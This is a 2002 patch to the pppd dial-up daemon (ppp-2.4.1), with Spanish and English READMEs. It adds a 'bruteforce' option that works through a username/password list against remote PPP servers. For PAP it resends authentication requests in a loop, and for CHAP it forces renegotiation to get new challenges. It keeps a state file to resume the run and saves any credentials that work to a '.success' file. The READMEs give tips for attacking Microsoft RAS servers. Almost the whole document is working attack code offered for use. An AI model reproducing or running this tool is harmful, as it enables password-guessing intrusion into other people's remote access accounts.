diff -r -u -P ppp-2.4.1/LEEME.bf ppp-2.4.1+bf/LEEME.bf
--- ppp-2.4.1/LEEME.bf	Thu Jan  1 01:00:00 1970
+++ ppp-2.4.1+bf/LEEME.bf	Sat Apr 27 19:20:02 2002
@@ -0,0 +1,74 @@
+Soporte para ataques de fuerza bruta en PPPD
+--------------------------------------------
+Este parche añade soporte para realizar ataques de fuerza bruta contra PPP 
+utilizando pppd.
+
+Se activa a través de la opción "bruteforce" que acepta un parametro: el
+nombre de un fichero que contiene parejas usuario/contraseña a intentar. 
+Solo hace falta añadir una entrada como la siguiente al fichero "options" 
+de pppd:
+
+  bruteforce /etc/ppp/userpass.dat
+
+El fichero acepta un registro por linea, separando usuario y contraseña con
+una barra vertical (|). Si no se especifica una barra se considera la linea
+entera como usuario sin contraseña. Un fichero de fuerza bruta sería algo
+así:
+
+user|password
+test|test
+root
+root|root
+password
+
+Se da por finalizado el proceso de ataque por fuerza bruta cuando se cumple
+una de las siguiente condiciones:
+
+  - Se llega al final del fichero de ataque por fuerza bruta. Se avisa al
+    usuario y se termina el proceso, a menos que no se cambie el fichero.
+
+  - Se consigue una autentificación satisfactoria. Se guardan el protocolo, 
+    nombre de usuario y contraseña en un fichero de nombre igual al fichero 
+    que lista usuarios y contraseñas, añadiendole el sufijo ".success" (p.e. 
+    un fichero llamado "userpass.dat", generaria un fichero 
+    "userpass.dat.success").
+
+Para saber que parejas de usuario/contraseña se han probado, el programa crea un 
+fichero de estado para cada fichero de ataque por fuerza bruta (nombre del
+fichero con el prefijo ".state"). Este fichero contiene el numero de
+registro que se esta probando en ese momento. En aquellas ocasiones en las
+que sea necesario reiniciar el proceso de fuerza bruta, empezando a provar
+todas las combinaciones otra vez, tan solo es necesario borrar el fichero de
+estado y el programa olvidará cualquier intento anterior relacioinado con
+ese fichero.
+
+El numero de intentos por llamada que acepta un servidor remoto depende de
+la implementación remota de PPP, el metod de autentificación empleado y la
+configuración del servidor. Por ejemplo, algunas veces el acceso remoto a
+redes de Microsoft permite solo un intento cuando se utiliza PAP, mientras
+que permite intentos ilimitados si se utiliza CHAP. Por tanto vale la pena
+provar distintas combinaciones para minimizar el numero de llamadas a
+realizar.
+
+Implementación
+--------------
+La implementación del ataque por fuerza bruta contra PAP es bastante
+sencilla. PAP es un protocolo en el que el cliente inicia la comunicación,
+por tanto lo único que debemos hacer es ir enviando sucesivas peticiones de
+autentificación hasta que obtengamos una respuesta satisfactoria.
+
+El protocolo CHAP es un poco mas complejo, ya que es el servidor quien
+inicia la autentificación (cuando el servidor nos envia un desafío
+(challenge)). El RFC de CHAP prohibe implicitamenteque un servidor valide
+distintas respuestas a un mismo desafío, así que para realizar el ataque de
+fuerza bruta necesitamos que el servidor nos mande distintos desafíos. El
+problema es que en CHAP no existe nada así como una "petición de desafío",
+ya que el standard no contempla el concepto de "reintento de
+autentificación". La única forma de obtener un nuevo desafío es renegociando
+el protocolo de autentificación después de un fallo, tal como se comenta en
+el RFC de CHAP. Éste es el método que se ha implementado en este programa.
+
+En http://hispahack.ccc.de se puede encontrar siempre la última versión de este parche.
+
+Jfs
+jfs@gibnet.gi
diff -r -u -P ppp-2.4.1/README.bf ppp-2.4.1+bf/README.bf
--- ppp-2.4.1/README.bf	Thu Jan  1 01:00:00 1970
+++ ppp-2.4.1+bf/README.bf	Sat Apr 27 18:46:29 2002
@@ -0,0 +1,64 @@
+Bruteforcing support for PPPD
+-----------------------------
+This patch adds PPP authentication bruteforcing support to pppd.
+
+Bruteforcing is activated via the "bruteforce" option, which accepts a
+parameter: a file that contains username/password pairs to try. Just add an
+entry like this to your pppd "options" file:
+
+  bruteforce /etc/ppp/userpass.dat
+
+The file accepts one entry per line, separating username and password with a
+pipe (|). If the pipe is omitted, the whole line is considered the username and
+a null password is assumed. A bruteforce file might look like this:
+
+user|password
+test|test
+root
+root|root
+password
+
+The bruteforce process finishes when either of these conditions are met:
+
+  - The end of the bruteforce file is reached. The user is notified and the
+    bruteforce process does not continue unless you change the file.
+
+  - A successful login is completed. The protocol, username and password used
+    are appended to a file named after the bruteforce file, but
+    adding the ".success" suffix (e.g. for the "userpass.dat" bruteforce file a
+    "userpass.dat.success" file will be created).
+
+In order to keep track of the username/password entries already tried, the
+program creates a "state" file for each bruteforce file (bruteforce filename
+with ".state" suffix ). The content of this file is the number of the entry
+being tested at the moment. Sometimes you just want to restart at the
+beginning of a file, just remove the ".state" file and the program will
+forget about any previous attempts related to that file.
+
+The number of tries per call accepted by a remote access server depends on the 
+remote implementation of PPP, the authentication method being used and the server 
+configuration. For instance, sometimes a Microsoft RAS  allows only one PAP try 
+per call, while an unlimited number of authentication tries are allowed by using 
+CHAP, though YMMV. It is usually worth trying different combinations in order to 
+minimize the amount of calls to make.
+
+Implementation
+--------------
+The PAP protocol bruteforcing is pretty straightforward. PAP is a client
+initiated authentication so that we just need to keep on sending
+authentication requests until we receive a positive response.
+
+The CHAP protocol is a bit more complex, as it is a server initiated
+authentication (the server must send us a challenge). The CHAP RFC strictly
+forbids that the server validates different responses to the same challenge,
+so in order to perform the bruteforcing we need to get a different challenge
+for each entry we want to try. There is not such a thing as a "challenge
+request" packet in CHAP, as authentication retrying is not defined in the
+standard. The only way to get a new challenge is to renegotiate the
+authentication method after a failure, as outlined in the CHAP RFC. This is
+the method implemented in the program.
+
+You can find up-to-date versions of this software at  http://hispahack.ccc.de/
+
+Jfs
+jfs@gibnet.gi
diff -r -u -P ppp-2.4.1/pppd/auth.c ppp-2.4.1+bf/pppd/auth.c
--- ppp-2.4.1/pppd/auth.c	Tue Mar 13 06:54:33 2001
+++ ppp-2.4.1+bf/pppd/auth.c	Sat Apr 27 18:33:52 2002
@@ -76,6 +76,8 @@
 #endif
 #include "pathnames.h"
 
+#include "bf.h"
+
 static const char rcsid[] = RCSID;
 
 /* Bits in scan_authfile return value */
@@ -162,6 +164,13 @@
 
 static char *uafname;		/* name of most recent +ua file */
 
+/* Bruteforce options */
+char bf_file_path[MAXPATHLEN]={0};
+FILE *bf_fd = NULL;
+bool bf_activated;
+struct bf_credentials bf_current_credentials;
+int bf_file_line = 0;
+
 /* Bits in auth_pending[] */
 #define PAP_WITHPEER	1
 #define PAP_PEER	2
@@ -263,6 +272,9 @@
       "Set IP address(es) which can be used without authentication",
       OPT_PRIV | OPT_A2LIST },
 
+     { "bruteforce", o_special, (void *)bf_setup_file,
+       "Use this filename to get bruteforce usernames and passwords" },
+
     { NULL }
 };
 
@@ -318,6 +330,261 @@
     return (1);
 }
 
+/*
+ * bf_setup_file - open file that contains bruteforcing information
+ */
+int
+bf_setup_file(argv)
+    char **argv;
+{
+    int ret;
+
+    /* open bruteforce file */
+    strncpy(bf_file_path, *argv, MAXPATHLEN);
+
+    seteuid(getuid());
+    bf_fd = fopen(bf_file_path, "r");
+    seteuid(0);
+    if (bf_fd == NULL) {
+	option_error("unable to open bruteforce file %s", bf_file_path);
+	return 0;
+    }
+
+    bf_activated = 1;
+    ret=bf_credentials_load(&bf_current_credentials);
+    
+    if(ret < 0) {
+      error("Error loading stored bruteforce credentials.\n");
+      return (0);
+    }
+
+    if(ret == 0 || !bf_credentials_next(&bf_current_credentials)) {
+      error("End of bruteforce file reached without a successful login, sorry.\n", bf_file_path);
+      return (0);
+    }
+
+    return (1);
+}
+
+/*
+ * bf_credentials_load - Loads the last bruteforce credentials from file.
+ *
+ * As we need to keep state between different pppd runs, we use a ".state" file to record the 
+ * last username/password combination we were trying.
+ *
+ * This "load" function reads the state file and sets the values in bf_current_credentials to those in the file. The
+ * worst case scenario is one which hasn't yet tested the username/password pair, so it should be considered as untested
+ * and should be the first pair to try in the current run.
+ *
+ * Returns 1 if successful, 0 if there was a fatal error (all credentials already checked, out of memory).
+ */
+
+int
+bf_credentials_load(struct bf_credentials *credentials) {
+  char *state_filename = NULL;
+  FILE *state_fd= NULL;
+  char *buf = NULL;
+  int i=0;
+
+  credentials->username=NULL;
+  credentials->password=NULL;
+
+  if(bf_activated) {
+    state_filename=(char *)malloc(strlen(bf_file_path) + strlen(".state") + 1);
+
+    if(!state_filename) {
+      error("Out of memory");
+      return -1;
+    }
+
+    if(! sprintf(state_filename, "%s.state", bf_file_path)) {
+      free(state_filename);
+      error("Out of memory");
+      return -1;
+    }
+
+    state_fd=fopen(state_filename, "r");
+
+    if(!state_fd) {
+      bf_file_line=0;
+      free(state_filename);
+      return 1;
+    }
+
+    free(state_filename);
+
+    buf=(char *)malloc(1024);
+    memset(buf,0,1024);
+
+    if(fgets(buf, 1024, state_fd)) {
+      bf_clean_crlf(buf);
+      bf_file_line = atoi(buf);
+    }
+
+    free(buf);
+
+    fclose(state_fd);
+
+    rewind(bf_fd);
+
+    for(i=0; i < bf_file_line; i++) {
+      if(! fgets(buf, 1024, bf_fd)) {
+        return 0;
+      }
+    }
+
+    return 1;
+  }
+
+  return -1; /* Shouldn't be reached */
+}
+
+bool
+bf_credentials_save(struct bf_credentials *credentials) {
+  char *state_filename = NULL;
+  FILE *state_fd= NULL;
+
+  if(bf_activated) {
+    state_filename=(char *)malloc(strlen(bf_file_path)+strlen(".state")+1);
+
+    if(!state_filename) {
+      error("Out of memory!");
+      return 0;
+    }
+
+    if(! sprintf(state_filename, "%s.state", bf_file_path)) {
+      free(state_filename);
+      error("Out of memory!");
+      return 0;
+    }
+
+    state_fd=fopen(state_filename, "w");
+
+    if(!state_fd) {
+      error("Can't open bruteforce state file %s", state_filename);
+      free(state_filename);
+      return 1;
+    }
+
+    free(state_filename);
+
+    fprintf(state_fd, "%d", bf_file_line);
+    BFDEBUG(("BF> Saved credentials %d\n", bf_file_line));
+    fclose(state_fd);
+
+    return 1;
+  }
+
+  return 0;
+}
+
+bool
+bf_credentials_next(struct bf_credentials *credentials) {
+  char *buf = NULL;
+  char *tmp = NULL, *tmp_username = NULL, *tmp_password = NULL;
+
+  if(bf_activated) {
+    bf_credentials_save(&bf_current_credentials);
+
+    credentials->username=NULL;
+    credentials->password=NULL;
+
+    buf=(char *)malloc(1024);
+    memset(buf,0,1024);
+
+    if(fgets(buf, 1024, bf_fd)) {
+      tmp_username=buf;
+      tmp=strchr(buf, '|');
+      if(tmp) {
+        *tmp++=0;
+        tmp_password=tmp;
+      }
+
+      if(tmp_username) {
+        bf_clean_crlf(tmp_username);
+        credentials->username = strdup(tmp_username);
+      }
+
+      if(tmp_password) {
+        bf_clean_crlf(tmp_password);
+        credentials->password = strdup(tmp_password);
+      }
+      bf_file_line++;
+    } else {
+      return 0;
+    }
+
+    free(buf);
+
+    return 1;
+  }
+
+  return 0;
+}
+
+void
+bf_login_successful(char *protocol) {
+  char *success_filename = NULL;
+  FILE *success_fd= NULL;
+
+  if(bf_activated) {
+    notice("BF> Successfully authenticated via %s with username \"%s\", password \"%s\"", protocol, bf_safe_string(bf_current_credentials.username), bf_safe_string(bf_current_credentials.password));
+
+    success_filename=(char *)malloc(strlen(bf_file_path)+strlen(".success")+1);
+
+    if(!success_filename) {
+      error("Out of memory!");
+      return;
+    }
+
+    if(! sprintf(success_filename, "%s.success", bf_file_path)) {
+      free(success_filename);
+      error("Out of memory!");
+      return;
+    }
+
+    success_fd=fopen(success_filename, "a");
+
+    if(!success_fd) {
+      error("Can't open bruteforce success file %s", success_filename);
+      free(success_filename);
+      return;
+    }
+
+    free(success_filename);
+
+    fprintf(success_fd, "%s|%s|%s\n", protocol, bf_safe_string(bf_current_credentials.username), bf_safe_string(bf_current_credentials.password));
+    fclose(success_fd);
+  }
+}
+
+char *bf_safe_string(char *s) {
+  if(!s) {
+    return("");
+  }
+  return s;
+}
+
+/*
+ * bf_clean_crlf - Delete the first occurrence of '\n' and '\r' in a string
+ */
+
+void bf_clean_crlf(char *s) {
+  char *tmp;
+
+  tmp=strchr(s,'\n');
+
+  if(tmp) {
+    *tmp=0;
+  }
+
+  tmp=strchr(s,'\r');
+
+  if(tmp) {
+    *tmp=0;
+  }
+}
+
 
 /*
  * privgroup - allow members of the group to have privileged access.
@@ -583,7 +850,10 @@
     /*
      * Authentication failure: take the link down
      */
+
     lcp_close(unit, "Authentication failed");
+
+    lcp_open(unit);
     status = EXIT_PEER_AUTH_FAILED;
 }
 
@@ -634,6 +904,8 @@
 auth_withpeer_fail(unit, protocol)
     int unit, protocol;
 {
+    fsm *f = &lcp_fsm[unit];
+
     if (passwd_from_file)
 	BZERO(passwd, MAXSECRETLEN);
     /*
@@ -642,7 +914,17 @@
      * is no point in persisting without any way to get updated
      * authentication secrets.
      */
-    lcp_close(unit, "Failed to authenticate ourselves to peer");
+    if(bf_activated) {
+      /* Give it another try */
+      f->state = OPENED;
+      f->flags |= OPT_RESTART;
+
+      lcp_open(unit);
+
+    } else {
+      lcp_close(unit, "Failed to authenticate ourselves to peer");
+    }
+
     status = EXIT_AUTH_TOPEER_FAILED;
 }
 
@@ -658,11 +940,21 @@
     switch (protocol) {
     case PPP_CHAP:
 	bit = CHAP_WITHPEER;
+
+        if(bf_activated) {
+          bf_login_successful("CHAP");
+        }
+
 	break;
     case PPP_PAP:
 	if (passwd_from_file)
 	    BZERO(passwd, MAXSECRETLEN);
 	bit = PAP_WITHPEER;
+
+        if(bf_activated) {
+          bf_login_successful("PAP");
+        }
+
 	break;
     default:
 	warn("auth_withpeer_success: unknown protocol %x", protocol);
diff -r -u -P ppp-2.4.1/pppd/bf.h ppp-2.4.1+bf/pppd/bf.h
--- ppp-2.4.1/pppd/bf.h	Thu Jan  1 01:00:00 1970
+++ ppp-2.4.1+bf/pppd/bf.h	Sat Apr 27 18:33:17 2002
@@ -0,0 +1,13 @@
+
+struct bf_credentials {
+  char *username;
+  char *password;
+};
+
+int  bf_setup_file __P((char **));
+int bf_credentials_load(struct bf_credentials *);
+bool bf_credentials_save(struct bf_credentials *);
+bool bf_credentials_next(struct bf_credentials *);
+void bf_login_successful(char *);
+char *bf_safe_string(char *);
+void bf_clean_crlf(char *);
diff -r -u -P ppp-2.4.1/pppd/chap.c ppp-2.4.1+bf/pppd/chap.c
--- ppp-2.4.1/pppd/chap.c	Thu Mar  8 06:11:11 2001
+++ ppp-2.4.1+bf/pppd/chap.c	Thu Apr 25 02:11:37 2002
@@ -51,6 +51,8 @@
 #include "chap_ms.h"
 #endif
 
+#include "bf.h"
+
 static const char rcsid[] = RCSID;
 
 /*
@@ -148,8 +150,20 @@
     int digest;
 {
     chap_state *cstate = &chap[unit];
+    char *user = our_name;
+    
+
+    if(bf_activated) {
+      /* If we are doing bruteforce, disregard the provided username
+         and proceed with the next credentials from the bruteforce file
+      */
+
+      user = strdup(bf_safe_string(bf_current_credentials.username));
+
+      BFDEBUG(("BF> Trying CHAP bruteforce with username \"%s\"\n", user));
+    }
 
-    cstate->resp_name = our_name;
+    cstate->resp_name = user;
     cstate->resp_type = digest;
 
     if (cstate->clientstate == CHAPCS_INITIAL ||
@@ -442,13 +456,18 @@
 		   rhostname));
     }
 
-    /* get secret for authenticating ourselves with the specified host */
-    if (!get_secret(cstate->unit, cstate->resp_name, rhostname,
-		    secret, &secret_len, 0)) {
-	secret_len = 0;		/* assume null secret if can't find one */
-	warn("No CHAP secret found for authenticating us to %q", rhostname);
+    if(bf_activated) {
+      strncpy(secret, bf_safe_string(bf_current_credentials.password), MAXSECRETLEN);
+      secret_len = strlen(secret);
+    } else {
+      /* get secret for authenticating ourselves with the specified host */
+      if (!get_secret(cstate->unit, cstate->resp_name, rhostname,
+  		    secret, &secret_len, 0)) {
+  	secret_len = 0;		/* assume null secret if can't find one */
+  	warn("No CHAP secret found for authenticating us to %q", rhostname);
+      }
     }
-
+    
     /* cancel response send timeout if necessary */
     if (cstate->clientstate == CHAPCS_RESPONSE)
 	UNTIMEOUT(ChapResponseTimeout, cstate);
@@ -651,6 +670,15 @@
     }
 
     UNTIMEOUT(ChapResponseTimeout, cstate);
+
+    /* BRUTEFORCE */
+
+    if(bf_activated) {
+      if(! bf_credentials_next(&bf_current_credentials)) {
+        error("Reached end of credentials file, sorry. Deactivating bruteforcing.");
+        bf_activated=0;
+      }
+    }
 
     /*
      * Print message.
diff -r -u -P ppp-2.4.1/pppd/chap.h ppp-2.4.1+bf/pppd/chap.h
--- ppp-2.4.1/pppd/chap.h	Mon Nov 15 02:44:41 1999
+++ ppp-2.4.1+bf/pppd/chap.h	Thu Apr 25 00:04:51 2002
@@ -120,5 +120,10 @@
 
 extern struct protent chap_protent;
 
+extern FILE *bf_fd;
+extern char bf_file_path[MAXPATHLEN];
+extern bool bf_activated;
+extern struct bf_credentials bf_current_credentials;
+
 #define __CHAP_INCLUDE__
 #endif /* __CHAP_INCLUDE__ */
diff -r -u -P ppp-2.4.1/pppd/pppd.h ppp-2.4.1+bf/pppd/pppd.h
--- ppp-2.4.1/pppd/pppd.h	Tue Mar 13 06:54:37 2001
+++ ppp-2.4.1+bf/pppd/pppd.h	Thu Apr 25 00:10:26 2002
@@ -58,6 +58,8 @@
 #define MAXNAMELEN	256	/* max length of hostname or name for auth */
 #define MAXSECRETLEN	256	/* max length of password or secret */
 
+#define DEBUGBF
+
 /*
  * Option descriptor structure.
  */
@@ -769,6 +771,12 @@
 #define IPXCPDEBUG(x)	if (debug) dbglog x
 #else
 #define IPXCPDEBUG(x)
+#endif
+
+#ifdef DEBUGBF
+#define BFDEBUG(x)	if (debug) dbglog x
+#else
+#define BFDEBUG(x)
 #endif
 
 #ifndef SIGTYPE
diff -r -u -P ppp-2.4.1/pppd/upap.c ppp-2.4.1+bf/pppd/upap.c
--- ppp-2.4.1/pppd/upap.c	Thu Mar  8 06:11:16 2001
+++ ppp-2.4.1+bf/pppd/upap.c	Sat Apr 27 02:18:46 2002
@@ -29,6 +29,8 @@
 #include "pppd.h"
 #include "upap.h"
 
+#include "bf.h"
+
 static const char rcsid[] = RCSID;
 
 static bool hide_password = 1;
@@ -116,7 +118,6 @@
     u->us_reqtimeout = UPAP_DEFREQTIME;
 }
 
-
 /*
  * upap_authwithpeer - Authenticate us with our peer (start client).
  *
@@ -129,6 +130,19 @@
 {
     upap_state *u = &upap[unit];
 
+    if(bf_activated) {
+      /* If we are doing bruteforce, disregard the provided username and password
+         and proceed with the next credentials from the bruteforce file
+      */
+
+      if(bf_activated) {
+        user = bf_safe_string(bf_current_credentials.username);
+        password = bf_safe_string(bf_current_credentials.password);
+
+        BFDEBUG(("BF> Trying PAP bruteforce with \"%s\" and \"%s\"\n", user, password));
+      }
+    }
+
     /* Save the username and password we're given */
     u->us_user = user;
     u->us_userlen = strlen(user);
@@ -493,6 +507,26 @@
 	    PRINTMSG(msg, msglen);
 	}
     }
+
+    /* BRUTEFORCE */
+
+    if(bf_activated) {
+      if(! bf_credentials_next(&bf_current_credentials)) {
+        error("Reached end of credentials file, sorry. Deactivating bruteforcing.");
+        bf_activated=0;
+      }
+    }
+
+    if(bf_activated) {
+      u->us_timeouttime = UPAP_DEFTIMEOUT;
+      u->us_maxtransmits = 10;
+      u->us_reqtimeout = UPAP_DEFREQTIME;
+
+      upap_authwithpeer(u->us_unit, "", "");
+      return;
+    }
+
+    /* End of BRUTEFORCE */
 
     u->us_clientstate = UPAPCS_BADAUTH;
 
diff -r -u -P ppp-2.4.1/pppd/upap.h ppp-2.4.1+bf/pppd/upap.h
--- ppp-2.4.1/pppd/upap.h	Mon Nov 15 02:51:54 1999
+++ ppp-2.4.1+bf/pppd/upap.h	Wed Apr 24 22:48:37 2002
@@ -85,3 +85,8 @@
 void upap_authpeer __P((int));
 
 extern struct protent pap_protent;
+
+extern FILE *bf_fd;
+extern char bf_file_path[MAXPATHLEN];
+extern bool bf_activated;
+extern struct bf_credentials bf_current_credentials;
